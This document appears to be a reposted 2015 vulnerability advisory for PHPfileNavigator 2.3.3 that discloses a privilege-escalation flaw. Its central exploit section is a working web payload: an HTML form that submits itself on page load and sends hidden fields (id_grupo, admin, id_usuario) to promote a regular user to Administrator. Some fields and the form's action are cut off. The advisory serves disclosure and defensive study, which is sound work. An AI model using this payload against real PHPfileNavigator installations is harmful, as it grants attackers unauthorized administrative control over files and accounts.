PHPfileNavigator 2.3.3 Privilege Escalation

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PHPfileNavigator version 2.3.3 suffers from a privilege escalation vulnerability.

[+] Credits: John Page aka hyp3rlinx

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PHPfileNavigator v2.3.3 (pfn)

Is state-of-the-art, open source web based application
to complete manage your files and folders.

Vulnerability Type:
Privilege Escalation

CVE Reference:

Vulnerability Details:
We can elevate privileges from that of a regular user
to an Admin level. In order for the attack
to succeed and escalate privileges to become Admin you need
know your ID  for the 'id_usuario' field when executing the

Tested using xampp-1.7.0

Exploit code(s):

function pwn(){
var e=document.getElementById('ELEVATO_DE_PRIVLOS')

<body onLoad="pwn()">

<!-- Escalate privs to that of Admin -->

    <form id="ELEVATO_DE_PRIVLOS" action="
    <input type="hidden" name="id_usuario" value="5" />
    <input type="text" id="nome" name="nome" value="b2" class="text"
tabindex="10" />
    <input type="text" id="usuario" name="usuario" value="b2" class="text"
tabindex="20" />
    <input type="password" id="contrasinal" name="contrasinal"
value="abc123" class="text" tabindex="30" />
    <input type="password" id="rep_contrasinal" name="rep_contrasinal"
value="abc123" class="text" tabindex="40" />
    <input type="text" id="email" name="email" value="" class="text"
tabindex="50" />
    <input type="text" id="max_descargas" name="max_descargas" value="0"
class="text" tabindex="60" />
    <input type="text" id="actual_descargas" name="actual_descargas"
value="0" class="text" tabindex="70" />
    <select id="cambiar_datos" name="cambiar_datos" tabindex="75">
    <option value="1" >ON</option>
    <option value="0" selected="selected">OFF</option>
    <select id="id_grupo" name="id_grupo" tabindex="80">
    <option value="1" selected="selected">Administrators</option>
    <select id="admin" name="admin" tabindex="90">
    <option value="1" selected="selected">ON</option>
    <option value="0">OFF</option>
    <select id="estado" name="estado" tabindex="100">
    <option value="1" selected="selected">ON</option>
    <option value="0" >OFF</option>
    <input type="checkbox" id="Fraices_1" name="Fraices[]" value="1"
 class="checkbox" />


Disclosure Timeline:
Vendor Notification: August 8, 2015
August 12, 2015 : Public Disclosure

Severity Level:


Request Method(s):              [+] POST

Vulnerable Product:             [+] PHPfileNavigator v2.3.3 (pfn)

Vulnerable Parameter(s):        [+] id_grupo, admin, id_usuario

Affected Area(s):               [+] Admin


[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx

Quelle: Packet storm Security